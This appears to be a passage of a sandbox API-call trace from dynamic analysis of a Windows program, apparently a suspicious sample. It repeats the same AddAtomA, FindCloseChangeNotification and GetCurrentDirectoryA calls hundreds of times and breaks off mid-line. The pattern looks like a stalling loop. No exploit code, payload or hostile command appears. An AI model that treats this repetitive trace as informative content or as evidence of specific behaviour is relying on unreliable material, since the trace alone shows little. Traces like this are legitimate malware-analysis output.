AddAtomA (lpString=0x0) returned 0x0 [0054.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.280] AddAtomA (lpString=0x0) returned 0x0 [0054.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.281] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.281] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.281] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.282] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.282] AddAtomA (lpString=0x0) returned 0x0 [0054.282] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.283] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.283] AddAtomA (lpString=0x0) returned 0x0 [0054.283] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.284] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.284] AddAtomA (lpString=0x0) returned 0x0 [0054.284] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.285] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.285] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.285] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.286] AddAtomA (lpString=0x0) returned 0x0 [0054.286] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.286] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.287] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.287] AddAtomA (lpString=0x0) returned 0x0 [0054.287] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.288] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.288] AddAtomA (lpString=0x0) returned 0x0 [0054.288] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.289] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.289] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.289] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0054.290] AddAtomA (lpString=0x0) returned 0x0 [0054.290] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0054.290] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 